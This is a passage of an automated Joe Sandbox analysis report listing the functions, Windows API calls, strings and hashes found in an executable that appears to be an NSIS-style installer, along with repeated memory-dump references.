Associated: 0000000E.00000002.4031436335.00000000004BB000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.4031436335.00000000004BF000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.4031803918.00000000004F4000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_C3F.jbxd

Similarity

API ID: Global$AllocFileFree$CloseDeleteHandleWrite
String ID: created uninstaller: %d, "%s"
API String ID: 3294113728-3145124454
Opcode ID: 7d19fd18931236c609f14dd9ebe02190de13aa3954742adab313f132dac73535
Instruction ID: 876417c632a2c352b67fb01c84f3ccb8dada3a759dccfb7ac575e016526b3130
Opcode Fuzzy Hash: 7d19fd18931236c609f14dd9ebe02190de13aa3954742adab313f132dac73535
Instruction Fuzzy Hash: E231B272800115BBCB11AFA4CE45DAF7FB9EF08364F10023AF555B61E1CB794E419B98

Function 004060E7 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 72filestringCOMMON

Download Yara Rule

APIs

CloseHandle.KERNEL32(FFFFFFFF,00000000,?,?,004062D4,00000000), ref: 004060FE
GetFileAttributesW.KERNEL32(0046A560,?,00000000,00000000,?,?,004062D4,00000000), ref: 0040613C
WriteFile.KERNEL32(00000000,000000FF,00000002,00000000,00000000,0046A560,40000000,00000004), ref: 00406175
SetFilePointer.KERNEL32(00000000,00000000,00000000,00000002,0046A560,40000000,00000004), ref: 00406181
lstrcatW.KERNEL32(RMDir: RemoveDirectory invalid input(""),00409678,?,00000000,00000000,?,?,004062D4,00000000), ref: 0040619B
lstrlenW.KERNEL32(RMDir: RemoveDirectory invalid input(""),?,?,004062D4,00000000), ref: 004061A2
WriteFile.KERNEL32(RMDir: RemoveDirectory invalid input(""),00000000,004062D4,00000000,?,?,004062D4,00000000), ref: 004061B7

Strings

RMDir: RemoveDirectory invalid input(""), xrefs: 00406195, 0040619A, 004061A1, 004061B0

Memory Dump Source

Source File: 0000000E.00000002.4031328330.0000000000401000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000E.00000002.4031113707.0000000000400000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.4031379486.0000000000408000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.4031436335.000000000040B000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.4031436335.000000000041F000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.4031436335.000000000042B000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.4031436335.0000000000461000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.4031436335.00000000004B3000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.4031436335.00000000004BB000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.4031436335.00000000004BF000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.4031803918.00000000004F4000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_C3F.jbxd

Similarity

API ID: File$Write$AttributesCloseHandlePointerlstrcatlstrlen
String ID: RMDir: RemoveDirectory invalid input("")
API String ID: 3734993849-2769509956
Opcode ID: db2296b131d449b30ff8990abd275774a0521ce3dbf342b3e8cfb01d18cadc82
Instruction ID: 719ae6cd10854ac59b0cdc08190af65770ef99398ad526dd54b0ef62760a23c4
Opcode Fuzzy Hash: db2296b131d449b30ff8990abd275774a0521ce3dbf342b3e8cfb01d18cadc82
Instruction Fuzzy Hash: 4621F271400200BBD710AB64DD88D9B376CEB02370B25C73AF626BA1E1E77449868BAD

Function 004023F0 Relevance: 12.3, APIs: 3, Strings: 4, Instructions: 83libraryCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000,00000001,000000F0), ref: 0040241C

Part of subcall function 00404F72: lstrlenW.KERNEL32(0043B228,?,00000000,00000000), ref: 00404FAA
Part of subcall function 00404F72: lstrlenW.KERNEL32(004034BB,0043B228,?,00000000,00000000), ref: 00404FBA
Part of subcall function 00404F72: lstrcatW.KERNEL32(0043B228,004034BB,004034BB,0043B228,?,00000000,00000000), ref: 00404FCD
Part of subcall function 00404F72: SetWindowTextW.USER32(0043B228,0043B228), ref: 00404FDF
Part of subcall function 00404F72: SendMessageW.USER32(?,00001004,00000000,00000000), ref: 00405005
Part of subcall function 00404F72: SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 0040501F
Part of subcall function 00404F72: SendMessageW.USER32(?,00001013,?,00000000), ref: 0040502D

Part of subcall function 004062A3: lstrlenW.KERNEL32(RMDir: RemoveDirectory invalid input(""),00406E79,RMDir: RemoveDirectory("%s"),?,?,?), ref: 004062B0
Part of subcall function 004062A3: wvsprintfW.USER32(00000000,?,?), ref: 004062C7

LoadLibraryExW.KERNEL32(00000000,?,00000008,00000001,000000F0), ref: 0040242D
FreeLibrary.KERNEL32(?,?), ref: 004024C3

Strings

Error registering DLL: %s not found in %s, xrefs: 0040249A
Error registering DLL: Could not initialize OLE, xrefs: 004024F1
Ht, xrefs: 00402473
Error registering DLL: Could not load %s, xrefs: 004024DB

Memory Dump Source

Source File: 0000000E.00000002.4031328330.0000000000401000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000E.00000002.4031113707.0000000000400000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.4031379486.0000000000408000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.4031436335.000000000040B000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.4031436335.000000000041F000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.4031436335.000000000042B000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.4031436335.0000000000461000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.4031436335.00000000004B3000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.4031436335.00000000004BB000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.4031436335.00000000004BF000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.4031803918.00000000004F4000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_C3F.jbxd

Similarity

API ID: MessageSendlstrlen$Library$FreeHandleLoadModuleTextWindowlstrcatwvsprintf
String ID: Error registering DLL: %s not found in %s$Error registering DLL: Could not initialize OLE$Error registering DLL: Could not load %s$Ht
API String ID: 1033533793-3079458245
Opcode ID: dad84e194389b7cbeb1d3ab4357ce8e64ef755489eaa46c5795f6130922e59d8
Instruction ID: e967fad4df15afb35ea17a6f8951328f27fda4bee3b51f855042d01f5ead75df
Opcode Fuzzy Hash: dad84e194389b7cbeb1d3ab4357ce8e64ef755489eaa46c5795f6130922e59d8
Instruction Fuzzy Hash: 34219131904208BBCF206FA1CE45E9E7A74AF40314F30817FF511B61E1D7BD4A819A5D

Function 00403DCA Relevance: 12.1, APIs: 8, Instructions: 60COMMON

Download Yara Rule

APIs

GetWindowLongW.USER32(?,000000EB), ref: 00403DE4
GetSysColor.USER32(00000000), ref: 00403E00
SetTextColor.GDI32(?,00000000), ref: 00403E0C
SetBkMode.GDI32(?,?), ref: 00403E18
GetSysColor.USER32(?), ref: 00403E2B
SetBkColor.GDI32(?,?), ref: 00403E3B
DeleteObject.GDI32(?), ref: 00403E55
CreateBrushIndirect.GDI32(?), ref: 00403E5F

Memory Dump Source

Source File: 0000000E.00000002.4031328330.0000000000401000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000E.00000002.4031113707.0000000000400000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.4031379486.0000000000408000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.4031436335.000000000040B000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.4031436335.000000000041F000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.4031436335.000000000042B000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.4031436335.0000000000461000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.4031436335.00000000004B3000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.4031436335.00000000004BB000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.4031436335.00000000004BF000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.4031803918.00000000004F4000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_C3F.jbxd

Similarity

API ID: Color$BrushCreateDeleteIndirectLongModeObjectTextWindow
String ID:
API String ID: 2320649405-0
Opcode ID: ac93da855729cb6ae330e7292f06b4dcfb528e6a29ab184958864ff4432b54b5
Instruction ID: efe235911933e34786796033030fc6f48e67331b78f43f6f4bde0ddab4ebbdd0
Opcode Fuzzy Hash: ac93da855729cb6ae330e7292f06b4dcfb528e6a29ab184958864ff4432b54b5
Instruction Fuzzy Hash: 7D1166715007046BCB219F78DE08B5BBFF8AF01755F048A2DE886F22A0D774DA48CB94

Function 00402238 Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 59synchronizationCOMMON

Download Yara Rule

APIs

Part of subcall function 004062A3: lstrlenW.KERNEL32(RMDir: RemoveDirectory invalid input(""),00406E79,RMDir: RemoveDirectory("%s"),?,?,?), ref: 004062B0
Part of subcall function 004062A3: wvsprintfW.USER32(00000000,?,?), ref: 004062C7

Part of subcall function 00404F72: lstrlenW.KERNEL32(0043B228,?,00000000,00000000), ref: 00404FAA
Part of subcall function 00404F72: lstrlenW.KERNEL32(004034BB,0043B228,?,00000000,00000000), ref: 00404FBA
Part of subcall function 00404F72: lstrcatW.KERNEL32(0043B228,004034BB,004034BB,0043B228,?,00000000,00000000), ref: 00404FCD
Part of subcall function 00404F72: SetWindowTextW.USER32(0043B228,0043B228), ref: 00404FDF
Part of subcall function 00404F72: SendMessageW.USER32(?,00001004,00000000,00000000), ref: 00405005
Part of subcall function 00404F72: SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 0040501F
Part of subcall function 00404F72: SendMessageW.USER32(?,00001013,?,00000000), ref: 0040502D

Part of subcall function 00405C3F: CreateProcessW.KERNEL32(00000000,?,00000000,00000000,00000000,00000000,00000000,00000000,00457278,Error launching installer), ref: 00405C64
Part of subcall function 00405C3F: CloseHandle.KERNEL32(?), ref: 00405C71

WaitForSingleObject.KERNEL32(?,00000064,00000000,000000EB,00000000), ref: 00402288
GetExitCodeProcess.KERNEL32(?,?), ref: 00402298
CloseHandle.KERNEL32(?,00000000,000000EB,00000000), ref: 00402AF2

Strings

Exec: success ("%s"), xrefs: 00402263
Exec: command="%s", xrefs: 00402241
Exec: failed createprocess ("%s"), xrefs: 004022C2

Memory Dump Source

Source File: 0000000E.00000002.4031328330.0000000000401000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000E.00000002.4031113707.0000000000400000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.4031379486.0000000000408000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.4031436335.000000000040B000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.4031436335.000000000041F000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.4031436335.000000000042B000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.4031436335.0000000000461000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.4031436335.00000000004B3000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.4031436335.00000000004BB000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.4031436335.00000000004BF000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.4031803918.00000000004F4000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_C3F.jbxd

Similarity

API ID: MessageSendlstrlen$CloseHandleProcess$CodeCreateExitObjectSingleTextWaitWindowlstrcatwvsprintf
String ID: Exec: command="%s"$Exec: failed createprocess ("%s")$Exec: success ("%s")
API String ID: 2014279497-3433828417
Opcode ID: 6d54c557fbd6fdf8dc19518642d08f2325eb4e2a9a3136ddaf8bbf3ddc9e5317
Instruction ID: 1f9fd54ce4b92d80b15c686f19ace2d36b15c716f321f29b17dee5dd027f7fd2
Opcode Fuzzy Hash: 6d54c557fbd6fdf8dc19518642d08f2325eb4e2a9a3136ddaf8bbf3ddc9e5317
Instruction Fuzzy Hash: 3E11C632904115EBDB11BBE0DE46AAE3A61EF00314B24807FF501B50D1CBBC4D41D79D

Function 0040484E Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 48windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,0000110A,00000009,00000000), ref: 00404869
GetMessagePos.USER32 ref: 00404871
ScreenToClient.USER32(?,?), ref: 00404889
SendMessageW.USER32(?,00001111,00000000,?), ref: 0040489B
SendMessageW.USER32(?,0000113E,00000000,?), ref: 004048C1

Strings

f, xrefs: 0040489D

Memory Dump Source

Source File: 0000000E.00000002.4031328330.0000000000401000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000E.00000002.4031113707.0000000000400000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.4031379486.0000000000408000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.4031436335.000000000040B000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.4031436335.000000000041F000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.4031436335.000000000042B000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.4031436335.0000000000461000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.4031436335.00000000004B3000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.4031436335.00000000004BB000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.4031436335.00000000004BF000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.4031803918.00000000004F4000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_C3F.jbxd

Similarity

API ID: Message$Send$ClientScreen
String ID: f
API String ID: 41195575-1993550816
Opcode ID: e83bf87fd3d3de8100a00259917b631f02ad10d2ae0db71d55c08ccb040208c3
Instruction ID: 7db1728360bf3821ce9645a1193633f180912fe022e8629b13ab7a69f18166cd
Opcode Fuzzy Hash: e83bf87fd3d3de8100a00259917b631f02ad10d2ae0db71d55c08ccb040208c3
Instruction Fuzzy Hash: C5015E7290021CBAEB00DBA4DD85BEEBBB8AF54710F10452ABB50B61D0D7B85A058BA5

Function 0040324C Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 40timeCOMMON

Download Yara Rule

APIs

SetTimer.USER32(?,00000001,000000FA,00000000), ref: 0040326A
MulDiv.KERNEL32(00017A00,00000064,?), ref: 00403295
wsprintfW.USER32 ref: 004032A5
SetWindowTextW.USER32(?,?), ref: 004032B5
SetDlgItemTextW.USER32(?,00000406,?), ref: 004032C7

Strings

verifying installer: %d%%, xrefs: 0040329F

Memory Dump Source

Source File: 0000000E.00000002.4031328330.0000000000401000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000E.00000002.4031113707.0000000000400000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.4031379486.0000000000408000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.4031436335.000000000040B000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.4031436335.000000000041F000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.4031436335.000000000042B000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.4031436335.0000000000461000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.4031436335.00000000004B3000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.4031436335.00000000004BB000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.4031436335.00000000004BF000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.4031803918.00000000004F4000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_C3F.jbxd

Similarity

API ID: Text$ItemTimerWindowwsprintf
String ID: verifying installer: %d%%
API String ID: 1451636040-82062127
Opcode ID: 2242266ec469d88fb33e3e049bed9c2e1137abfcadbc35e47a6ba444652a7516
Instruction ID: 2210906da4c477318a924a5c8cf459ae641b3a2c10b729e3aa38b42dd2c8d99c
Opcode Fuzzy Hash: 2242266ec469d88fb33e3e049bed9c2e1137abfcadbc35e47a6ba444652a7516
Instruction Fuzzy Hash: 98014470610109ABEF109F60DD49FAA3B69FB00349F00803DFA46B51E0DB7996558B58

Function 004043AD Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 73stringCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32(00447240,%u.%u%s%s,?,00000000,00000000,?,FFFFFFDC,00000000,?,000000DF,00447240,?), ref: 0040444A
wsprintfW.USER32 ref: 00404457
SetDlgItemTextW.USER32(?,00447240,000000DF), ref: 0040446A

Strings

@rD, xrefs: 00404402
%u.%u%s%s, xrefs: 00404444

Memory Dump Source

Source File: 0000000E.00000002.4031328330.0000000000401000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000E.00000002.4031113707.0000000000400000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.4031379486.0000000000408000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.4031436335.000000000040B000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.4031436335.000000000041F000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.4031436335.000000000042B000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.4031436335.0000000000461000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.4031436335.00000000004B3000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.4031436335.00000000004BB000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.4031436335.00000000004BF000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.4031803918.00000000004F4000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_C3F.jbxd

Similarity

API ID: ItemTextlstrlenwsprintf
String ID: %u.%u%s%s$@rD
API String ID: 3540041739-1813061909
Opcode ID: 62d1a696c90b95282af5dc14f7046faf50b68b39d5c561db380251ecdb666397
Instruction ID: f1896056faf18a44ee7e341cc3389f256aee6b01e91544d35c55ed1e8b934206
Opcode Fuzzy Hash: 62d1a696c90b95282af5dc14f7046faf50b68b39d5c561db380251ecdb666397
Instruction Fuzzy Hash: EF11BD327002087BDB10AA6A9D45E9E765EEBC5334F10423BFA15F30E1F6788A218679

Function 00406038 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 71COMMON

Download Yara Rule

APIs

CharNextW.USER32(?,*?|<>/":,00000000,004D70C8,004C30A0,004D70C8,00000000,004037D8,004D70C8,-00000002,00403A0B), ref: 0040609B
CharNextW.USER32(?,?,?,00000000), ref: 004060AA
CharNextW.USER32(?,004D70C8,004C30A0,004D70C8,00000000,004037D8,004D70C8,-00000002,00403A0B), ref: 004060AF
CharPrevW.USER32(?,?,004C30A0,004D70C8,00000000,004037D8,004D70C8,-00000002,00403A0B), ref: 004060C3

Strings

*?|<>/":, xrefs: 0040608A

Memory Dump Source

Source File: 0000000E.00000002.4031328330.0000000000401000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000E.00000002.4031113707.0000000000400000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.4031379486.0000000000408000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.4031436335.000000000040B000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.4031436335.000000000041F000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.4031436335.000000000042B000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.4031436335.0000000000461000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.4031436335.00000000004B3000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.4031436335.00000000004BB000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.4031436335.00000000004BF000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.4031803918.00000000004F4000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_C3F.jbxd

Similarity

API ID: Char$Next$Prev
String ID: *?|<>/":
API String ID: 589700163-165019052
Opcode ID: a05e433a329b084189efa29dbf9bba5ae0ab8f0c6b5464517f8198c591f21e0d
Instruction ID: 6b5d27536512bbf775d32d1a11483b1b035cd55ac1fbc93341df7bc26af2800c
Opcode Fuzzy Hash: a05e433a329b084189efa29dbf9bba5ae0ab8f0c6b5464517f8198c591f21e0d
Instruction Fuzzy Hash: C611EB2184061559CB30FB659C4097BA6F9AE56750712843FE886F32C1FB7CCCE192BD

Function 0040149D Relevance: 7.6, APIs: 5, Instructions: 67registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExW.ADVAPI32(?,?,00000000,?,?), ref: 004014BF
RegEnumKeyW.ADVAPI32(?,00000000,?,00000105), ref: 004014FB
RegCloseKey.ADVAPI32(?), ref: 00401504
RegCloseKey.ADVAPI32(?), ref: 00401529
RegDeleteKeyW.ADVAPI32(?,?), ref: 00401547

Memory Dump Source

Source File: 0000000E.00000002.4031328330.0000000000401000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000E.00000002.4031113707.0000000000400000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.4031379486.0000000000408000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.4031436335.000000000040B000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.4031436335.000000000041F000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.4031436335.000000000042B000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.4031436335.0000000000461000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.4031436335.00000000004B3000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.4031436335.00000000004BB000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.4031436335.00000000004BF000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.4031803918.00000000004F4000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_C3F.jbxd

Similarity

API ID: Close$DeleteEnumOpen
String ID:
API String ID: 1912718029-0
Opcode ID: 2b80b69c85b54ac5f33439f299733a34c1a7b021a45597119d957f721ab6f898
Instruction ID: 29266b44d1cae769f6d8fca298176d7cc4518162af5fbc8546bcefd12e7d5eb7
Opcode Fuzzy Hash: 2b80b69c85b54ac5f33439f299733a34c1a7b021a45597119d957f721ab6f898
Instruction Fuzzy Hash: EF114972500008FFDF119F90EE85DAA3B7AFB54348F00407AFA06F6170D7759E54AA29

Function 0040209F Relevance: 7.5, APIs: 5, Instructions: 39windowCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?), ref: 004020A3
GetClientRect.USER32(00000000,?), ref: 004020B0
LoadImageW.USER32(?,00000000,?,?,?,?), ref: 004020D1
SendMessageW.USER32(00000000,00000172,?,00000000), ref: 004020DF
DeleteObject.GDI32(00000000), ref: 004020EE

Memory Dump Source

Source File: 0000000E.00000002.4031328330.0000000000401000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000E.00000002.4031113707.0000000000400000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.4031379486.0000000000408000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.4031436335.000000000040B000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.4031436335.000000000041F000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.4031436335.000000000042B000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.4031436335.0000000000461000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.4031436335.00000000004B3000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.4031436335.00000000004BB000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.4031436335.00000000004BF000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.4031803918.00000000004F4000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_C3F.jbxd

Similarity

API ID: ClientDeleteImageItemLoadMessageObjectRectSend
String ID:
API String ID: 1849352358-0
Opcode ID: 1f7c9829ad23568ddcd68d747fd9c97de9c434eb898eff28d5e97dd8542ad38d
Instruction ID: a6d8e4af78efbdafb2d3f18e6b80530ac635d705efb76da9f8ac6e555915fa7b
Opcode Fuzzy Hash: 1f7c9829ad23568ddcd68d747fd9c97de9c434eb898eff28d5e97dd8542ad38d
Instruction Fuzzy Hash: 95F012B2600508AFDB00EBA4EF89DAF7BBCEB04305B104579F642F6161C6759E418B28

Function 00401F80 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 84windowtimeCOMMON

Download Yara Rule

APIs

SendMessageTimeoutW.USER32(00000000,00000000,?,?,?,00000002,?), ref: 00401FE6
SendMessageW.USER32(00000000,00000000,?,?), ref: 00401FFE

Strings

!, xrefs: 00401FB6

Memory Dump Source

Source File: 0000000E.00000002.4031328330.0000000000401000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000E.00000002.4031113707.0000000000400000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.4031379486.0000000000408000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.4031436335.000000000040B000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.4031436335.000000000041F000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.4031436335.000000000042B000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.4031436335.0000000000461000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.4031436335.00000000004B3000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.4031436335.00000000004BB000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.4031436335.00000000004BF000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.4031803918.00000000004F4000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_C3F.jbxd

Similarity

API ID: MessageSend$Timeout
String ID: !
API String ID: 1777923405-2657877971
Opcode ID: 268bfc816d722a3cdb4a25197971aab361e313674f42ba9e2dfc46ce407b5277
Instruction ID: e43e738488dd09895ebc4b193b1bc1394e214230f2e5861cb954e074e697f1bf
Opcode Fuzzy Hash: 268bfc816d722a3cdb4a25197971aab361e313674f42ba9e2dfc46ce407b5277
Instruction Fuzzy Hash: 93217171900209ABDF15AFB4D986ABE7BB9EF04349F14413EF602F60E2D6798A40D758

Function 004027E3 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 60registryCOMMON

Download Yara Rule

APIs

Part of subcall function 00401553: RegOpenKeyExW.ADVAPI32(?,00000000,00000022,00000000,?,?), ref: 0040158B

RegCloseKey.ADVAPI32(00000000), ref: 0040282E
RegDeleteValueW.ADVAPI32(00000000,00000000,00000033), ref: 0040280E

Part of subcall function 004062A3: lstrlenW.KERNEL32(RMDir: RemoveDirectory invalid input(""),00406E79,RMDir: RemoveDirectory("%s"),?,?,?), ref: 004062B0
Part of subcall function 004062A3: wvsprintfW.USER32(00000000,?,?), ref: 004062C7

Strings

DeleteRegValue: "%s\%s" "%s", xrefs: 00402820
DeleteRegKey: "%s\%s", xrefs: 00402843

